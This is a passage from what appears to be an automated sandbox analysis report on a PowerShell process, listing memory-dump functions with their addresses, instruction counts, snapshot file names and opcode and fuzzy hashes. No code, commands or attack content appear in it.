                                                                • API String ID:
                                                                • Opcode ID: a97ec56c0393ffd9bd5817532c7e217e5e1b3efb8471c5957abf57c1681e7496
                                                                • Instruction ID: cc87fb2611cef9e3f1bba8fb0e78bb678a48637271b53b645e47d172ed84109f
                                                                • Opcode Fuzzy Hash: a97ec56c0393ffd9bd5817532c7e217e5e1b3efb8471c5957abf57c1681e7496
                                                                • Instruction Fuzzy Hash: EC0152357002149FCB55EF74E818AAEBBF5FB88315F14406DE51AD3242DB32A911CF91
                                                                Function 04BED01D Relevance: .0, Instructions: 45COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 97011402ecd7d9eb93810c322ad07f37480576ac7aa4b7aff08e4f8dc409d23f
                                                                • Instruction ID: 305decee950307c32ef6d9d5b3ea73823a05c4b10d38a05eae6f9ee53f492642
                                                                • Opcode Fuzzy Hash: 97011402ecd7d9eb93810c322ad07f37480576ac7aa4b7aff08e4f8dc409d23f
                                                                • Instruction Fuzzy Hash: DF01DF715043419AE7108E36E980B76BF9CEB81364F0CC49AED084A283D7F9A841C6B1
                                                                Function 04BED006 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b3e4f1396a995ceaa63f848890a3a8f45f42eedbe9612c9b16ad95a32d8a0a41
                                                                • Instruction ID: 0399e3b43b203aabef68d414040b67a4d5045a1470ace1a5181c5cc64c4dcc7d
                                                                • Opcode Fuzzy Hash: b3e4f1396a995ceaa63f848890a3a8f45f42eedbe9612c9b16ad95a32d8a0a41
                                                                • Instruction Fuzzy Hash: 1401526240E3C09FD7128B259994766BFB8DF42224F1DC1DBD9888F193C2695844C7B2
                                                                Function 04C97958 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d598f62bc7dfa3f9c03a3801d4b98947427b16a74a4b2704ea298026964c0424
                                                                • Instruction ID: 5f01c1cd182f75820a0f46f26bc21e1a1f7ba5599d683d74f1f6623005e0d4a0
                                                                • Opcode Fuzzy Hash: d598f62bc7dfa3f9c03a3801d4b98947427b16a74a4b2704ea298026964c0424
                                                                • Instruction Fuzzy Hash: ABF04671606240AFCB119B69A880AAF7BFAEB89266700062EE04EC3341DF346C068770
                                                                Function 04C9BF18 Relevance: .0, Instructions: 42COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 60048f8c9af4d5f660eb86241525078b43decf31fec3e84175cf011f50489a9b
                                                                • Instruction ID: fcde15ad634d501a330e9d6951035bf09c5e9d160396d4d82f9613af583473a9
                                                                • Opcode Fuzzy Hash: 60048f8c9af4d5f660eb86241525078b43decf31fec3e84175cf011f50489a9b
                                                                • Instruction Fuzzy Hash: AAF0C2363153646FD7108A7A9C44ABBBFEDEB86620F1440AAF544C7361CAB0CD00C670
                                                                Function 04C9DE81 Relevance: .0, Instructions: 41COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 5ef84dccc5424d35e908f9e327506d8d046b2818895c9b25ba579b0d75832d00
                                                                • Instruction ID: e86579e7e2fa6a572d7215e3e1ea0c02d4ded1fa4a16cd4731f4ad9c896250e1
                                                                • Opcode Fuzzy Hash: 5ef84dccc5424d35e908f9e327506d8d046b2818895c9b25ba579b0d75832d00
                                                                • Instruction Fuzzy Hash: 5A01D431B00144AFCB04AA68C8058A9BFF2DF89221F0880A9D506E7252DA316C16CFA1
                                                                Function 04BED9A7 Relevance: .0, Instructions: 37COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ffeb857e7a2be2f953fb012fccee4a4284cc7dfe63d5c8387a27b0348bfcb686
                                                                • Instruction ID: 56aeb71f50b824b8d8043e7630d490e65342f0f5fcac6236610a88ac27c3881f
                                                                • Opcode Fuzzy Hash: ffeb857e7a2be2f953fb012fccee4a4284cc7dfe63d5c8387a27b0348bfcb686
                                                                • Instruction Fuzzy Hash: CEF0E276600604AF97208F0AD985C27FBADEBD4670719C59AE94A8B612C771FC42CAA0
                                                                Function 04C990E0 Relevance: .0, Instructions: 35COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0ac94dae78053031d7e41366d5962fb33ee7aafd3f003906375f69b219e99af3
                                                                • Instruction ID: 7f1806344389f49ba0e1721546ddc52c73b295475c926ccebb18d679943bde37
                                                                • Opcode Fuzzy Hash: 0ac94dae78053031d7e41366d5962fb33ee7aafd3f003906375f69b219e99af3
                                                                • Instruction Fuzzy Hash: 4CF0F0356002049BF355AB69C0093AB7BE2EBC2318F1081AACA1687381CF393C46CBA0
                                                                Function 04BED998 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168208847.0000000004BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4bed000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1845789113a24614d1c5531da5f9a4ff6baf40aea41f83023f7b933cf3fba364
                                                                • Instruction ID: 614c8ced1dfc234f9e7f13ae0c54c152ab37eaa876d7738f6d153a15f02da97f
                                                                • Opcode Fuzzy Hash: 1845789113a24614d1c5531da5f9a4ff6baf40aea41f83023f7b933cf3fba364
                                                                • Instruction Fuzzy Hash: F3F0F979100A40AFD725CF06CD85D23BBB9EBD5664B19858DE84A4B752C771FC42CBA0
                                                                Function 04C99549 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 854318781717cc80bc418b919dd90eb66852a187d8fec745fddbbe93ea263e90
                                                                • Instruction ID: 2bd478165cf1a79cb69360c887d15dfcd9677f7516617950a401144e6a2b6c3c
                                                                • Opcode Fuzzy Hash: 854318781717cc80bc418b919dd90eb66852a187d8fec745fddbbe93ea263e90
                                                                • Instruction Fuzzy Hash: 3EF0E5617053513BDF86626E480826ABDDFAFC75A978902BACA42C72A1DD20EC0653B1
                                                                Function 04C9DFE0 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3776c8bc4d336e819d2e9cb482422d1a90060123cfdf09051b76afaf95c02686
                                                                • Instruction ID: 79028b04eebe54d7430d327b0572af83b410b4852e352f6f25b316c773619393
                                                                • Opcode Fuzzy Hash: 3776c8bc4d336e819d2e9cb482422d1a90060123cfdf09051b76afaf95c02686
                                                                • Instruction Fuzzy Hash: D2F03A353042409FC7118B29D8588667BEAAFCA315719109AE185CB772DA61DC019B51
                                                                Function 04C97968 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 5fbf04d95a027deebd995cafde2dbf8df6e56481a65714da54ac9478fbd5ed26
                                                                • Instruction ID: 63e4d8cf5f7843bfb91f0ead32401dda0612a996c1d0e92dcb004492b5f59f07
                                                                • Opcode Fuzzy Hash: 5fbf04d95a027deebd995cafde2dbf8df6e56481a65714da54ac9478fbd5ed26
                                                                • Instruction Fuzzy Hash: ACF08271700614EFDB14AA6AE844A6F77EAEBC8665B00052DE50DC3240DF70AD0187A0
                                                                Function 04C97697 Relevance: .0, Instructions: 31COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6753ca9dcccbaf614b5467e4c328e1f984514f3bb352e813872e7ff734d1bc20
                                                                • Instruction ID: bfdb4cebd0cccc2e6d5c5ac6f8a994c28911dcf4f49515ea4ec4b500412b042d
                                                                • Opcode Fuzzy Hash: 6753ca9dcccbaf614b5467e4c328e1f984514f3bb352e813872e7ff734d1bc20
                                                                • Instruction Fuzzy Hash: 20F08C3A711114CBCF10DAAD9844AAA7BE2EBC9755B154199EA09CB311DE64EC01CB91
                                                                Function 04C990F0 Relevance: .0, Instructions: 31COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f3b52c5f07b7da566ac31d0ff565e04cf663f32da13a136edb90c95b5f7192e4
                                                                • Instruction ID: 9d6623b577d47329396e6f7367079da1534f674d30e3746a28e2d56e714454e5
                                                                • Opcode Fuzzy Hash: f3b52c5f07b7da566ac31d0ff565e04cf663f32da13a136edb90c95b5f7192e4
                                                                • Instruction Fuzzy Hash: 0AF0E2356002148BE341AB69C0087AB77E6DBC1328F20816AC90A87384CE397C45CBE0
                                                                Function 04C9DFF0 Relevance: .0, Instructions: 30COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3a035fdb0465c86bfb2de432f88dad72c9b6680a6f88143d5279123abf8dd7ed
                                                                • Instruction ID: a6df3afdfea47e13e039aef126997740a0f4a3fa9c57c9a91e8cf53142cad8f5
                                                                • Opcode Fuzzy Hash: 3a035fdb0465c86bfb2de432f88dad72c9b6680a6f88143d5279123abf8dd7ed
                                                                • Instruction Fuzzy Hash: BFE012353001109F8710DF1DD458C66B7FAEFCE71575510A9E645CB761DE61EC01DB90
                                                                Function 04C99160 Relevance: .0, Instructions: 29COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 02078be03f808b329d86bbe36f38a5ca3672601b3e4ea2852f0469ab0b47dc17
                                                                • Instruction ID: 360bffb781fab2195c2f9a1d180b84d3f13cea36e024be98afefd7159addbbee
                                                                • Opcode Fuzzy Hash: 02078be03f808b329d86bbe36f38a5ca3672601b3e4ea2852f0469ab0b47dc17
                                                                • Instruction Fuzzy Hash: B3F085709013109FE7A59FBCD89C39ABBE5FB40320F004869E64EC7291DB787980CBA0
                                                                Function 04C9DE30 Relevance: .0, Instructions: 29COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ff508df8e1fecd63fdb5a6070c23d17b5b86ad83787c86a0a7a2e5cab0987d57
                                                                • Instruction ID: d99a11470bf90c6b5f8d623805287781ad2516f5999b3763e8b3a263938482eb
                                                                • Opcode Fuzzy Hash: ff508df8e1fecd63fdb5a6070c23d17b5b86ad83787c86a0a7a2e5cab0987d57
                                                                • Instruction Fuzzy Hash: B1E0D8313016106BD716661EEC00AAF7BEFDFC66A2711405EE10AD7615CF69EC018BF1
                                                                Function 04C99170 Relevance: .0, Instructions: 25COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 5b98754fa0491fa912e74082b0a0973e8d5782f1c6652fa15eff18e112a7eba6
                                                                • Instruction ID: ad58aa345997cb1fa486fd3bde60f84210cddd5b74f2bb9fa9308e0ac76f64f1
                                                                • Opcode Fuzzy Hash: 5b98754fa0491fa912e74082b0a0973e8d5782f1c6652fa15eff18e112a7eba6
                                                                • Instruction Fuzzy Hash: 03F0ED719013049BD7A49FB9D49C79A7BE5FB44310F10446DE55ED7340DB756980CB90
                                                                Function 04C98978 Relevance: .0, Instructions: 24COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: bcddcd2953aaa0be5383da77717a771aa4256c16f1a99399f7c408bf7292913c
                                                                • Instruction ID: a9937082d68a5685f7d4e6173427febf397b8159b64a0e8b458a1158ab6e131b
                                                                • Opcode Fuzzy Hash: bcddcd2953aaa0be5383da77717a771aa4256c16f1a99399f7c408bf7292913c
                                                                • Instruction Fuzzy Hash: 30E0263130421097CF0A3779A40C2AE7A96EBC972AF00012ED606C3342CFB83C02CBD5
                                                                Function 04C98973 Relevance: .0, Instructions: 24COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3aca0d2449b5ab4496437ca3d40dd4bdea6cdaecd56cf994cb28216d403fb7d6
                                                                • Instruction ID: c70471171184fd2326514c49a28b9c146309b27f6200146e3448398b0af94ac0
                                                                • Opcode Fuzzy Hash: 3aca0d2449b5ab4496437ca3d40dd4bdea6cdaecd56cf994cb28216d403fb7d6
                                                                • Instruction Fuzzy Hash: B6E0D8317011518BDF4A2774900C2BD76A2EFC8326F00016FD516C3241CFB42842CB95
                                                                Function 04C99558 Relevance: .0, Instructions: 23COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 54cb9689063970b074eab7ddc3ca98ffd54d362d9a8f95d2a0c2083e82c94cb7
                                                                • Instruction ID: cd3ef80573eb541006d9e4ab4e0d464eaa52a48edec6166df14dc17d75daa36a
                                                                • Opcode Fuzzy Hash: 54cb9689063970b074eab7ddc3ca98ffd54d362d9a8f95d2a0c2083e82c94cb7
                                                                • Instruction Fuzzy Hash: 45D05E127112223BAE9470AA18086BBB5CF8BC78A5755013A9B05C3341ED50FC0A13F1
                                                                Function 04C9DE90 Relevance: .0, Instructions: 23COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                                • Instruction ID: e7c6e0caff1bbe3bb766484701e284a01900bbb9b0fa3730500a1b80e1a830f6
                                                                • Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                                • Instruction Fuzzy Hash: 27E08631B00014A78B08999ED4154D9F7A7DFCC220F04847AD90AA7340EA326D168691
                                                                Function 04C9DE40 Relevance: .0, Instructions: 23COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0e2bc02dc4414479db8798fef88ca1f0c040a95f77b506610375b32d39581e81
                                                                • Instruction ID: 41938bb6d5309a0fbca2556ea3c717dd7a39c49077ff4d6b48c76e8f9bde379f
                                                                • Opcode Fuzzy Hash: 0e2bc02dc4414479db8798fef88ca1f0c040a95f77b506610375b32d39581e81
                                                                • Instruction Fuzzy Hash: BAE0C231300611578A25A66EA8048AFBBEBDFC4AB1314442EE01AD7304DF69FD028BD5
                                                                Function 04C9AF90 Relevance: .0, Instructions: 23COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 260f5bc0fbcf130563fc622f4a5dffea0e840fef84354947f61e387f7268f3f3
                                                                • Instruction ID: bfeff2d7c909a04dbde180d746e2eb9479c51afea3dcf7a3d0ee7b6392315a4b
                                                                • Opcode Fuzzy Hash: 260f5bc0fbcf130563fc622f4a5dffea0e840fef84354947f61e387f7268f3f3
                                                                • Instruction Fuzzy Hash: 61D02B363043513BCB49A81EAC043173FDBDBC6321B498075E108C7200DD228C0203F0
                                                                Function 04C9F600 Relevance: .0, Instructions: 22COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c0232e12fb90493ca8c9c1e1380fb91d73e42154fba3e903590513075f9bdb42
                                                                • Instruction ID: 243e37ee74ff79703c6af26cc75435639d55035a695e80cd081f401a910ce0c8
                                                                • Opcode Fuzzy Hash: c0232e12fb90493ca8c9c1e1380fb91d73e42154fba3e903590513075f9bdb42
                                                                • Instruction Fuzzy Hash: 14E0ED70A062459E8B85DF79854216AFFF09B49214B1585EEC84AD6212E6318911CB92
                                                                Function 04C98739 Relevance: .0, Instructions: 19COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a6940a277b13acd99f7a724d8cf768eeb17f278b1ac16ced32a2810ef5d567c7
                                                                • Instruction ID: 709814a0f322821f5cb0de8565bb275dff4fd7ed09ff9685fd74b722211949c3
                                                                • Opcode Fuzzy Hash: a6940a277b13acd99f7a724d8cf768eeb17f278b1ac16ced32a2810ef5d567c7
                                                                • Instruction Fuzzy Hash: C0E04F309051099BCB4AAFA9D84E4ADBF74FB11301B00019DD623931A1DB702A5ACF94
                                                                Function 04C98800 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 18280732afb1da4740a4a96f497a1d080a4dfe8351245ef1fb434766f3b8f885
                                                                • Instruction ID: 6566b322274ebe84f7c76a4f239906c8e74948a1fdd6465d3c0ce3084f6f6d69
                                                                • Opcode Fuzzy Hash: 18280732afb1da4740a4a96f497a1d080a4dfe8351245ef1fb434766f3b8f885
                                                                • Instruction Fuzzy Hash: 4FE04F31A141468F8B48EBA8D44A469BFB0EB45205B0041AEE945D7351DB305991DF80
                                                                Function 04C9F610 Relevance: .0, Instructions: 16COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                                • Instruction ID: 00bc0a81cd6faaa6ccab282de7d1609c0451f3bcb54c4321b6d7aaab0498d1fc
                                                                • Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                                • Instruction Fuzzy Hash: 48D06270D0420D9F8B80DFADC94156DFBF5EB4C214F5485AE8919D7311F7315A128BD1
                                                                Function 04C98748 Relevance: .0, Instructions: 15COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 009da783d08db9fa05f32be03bdc3302e721c5b91053046f10eba976adf1853b
                                                                • Instruction ID: dc21b16e2d720aba3a4267b910813bc91c0dd30b1377211a78d5b45ee2e2e16b
                                                                • Opcode Fuzzy Hash: 009da783d08db9fa05f32be03bdc3302e721c5b91053046f10eba976adf1853b
                                                                • Instruction Fuzzy Hash: B1D067319041099BCF49ABA5E85E4BDBB74FB14301F40416DEA2752191EB712A5ACEC5
                                                                Function 04C98810 Relevance: .0, Instructions: 15COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 69e0e2bb98d13e79c2ca0d14081639feb73213608ed99c9e7613ba85a1d04b03
                                                                • Instruction ID: 02bdbf64019d38087e2378674d173ff87ee7ff15f39885e0d1a60572235bfcf9
                                                                • Opcode Fuzzy Hash: 69e0e2bb98d13e79c2ca0d14081639feb73213608ed99c9e7613ba85a1d04b03
                                                                • Instruction Fuzzy Hash: 6CD01734A0820A9B8B98EFA8E44A86EBFB5EB45301F00416ED94A93350EB306D01CFC1
                                                                Function 04C97932 Relevance: .0, Instructions: 14COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ab0d2d8f68823bedb93343891538bf04bd18f004646d309261a43cafa6d5a7dc
                                                                • Instruction ID: bc9e21db3cd6ef2f49e42a53910ea0781413ac44df2c19d02d1dc36ac440e63b
                                                                • Opcode Fuzzy Hash: ab0d2d8f68823bedb93343891538bf04bd18f004646d309261a43cafa6d5a7dc
                                                                • Instruction Fuzzy Hash: 60D0C97408A3818FCB0A5E70A8A84503F26EB4220935624DED4499A6B3C723994E9B10
                                                                Function 04C97EA0 Relevance: .0, Instructions: 13COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d61b592144720564a976f18700810679cc9e972fa51ca81132b96cbf786b01e6
                                                                • Instruction ID: ce43c1dd0422500a137cf051a2c8e584dee8e0a5b8ebd98625f5511f03d116a5
                                                                • Opcode Fuzzy Hash: d61b592144720564a976f18700810679cc9e972fa51ca81132b96cbf786b01e6
                                                                • Instruction Fuzzy Hash: 8FC02B518383830FFF02D7314CA6005BFB2544310934716C2C800DB1A2C815C808C321
                                                                Function 04C97940 Relevance: .0, Instructions: 8COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: aac2bea7d547b1bef0b86a48165ecc4a079351f9ee198d4dee4f26a0a8b95320
                                                                • Instruction ID: de5b0fa35224f90954d1158171db335b79d16ff693ee4d7a138d2d12465fe69a
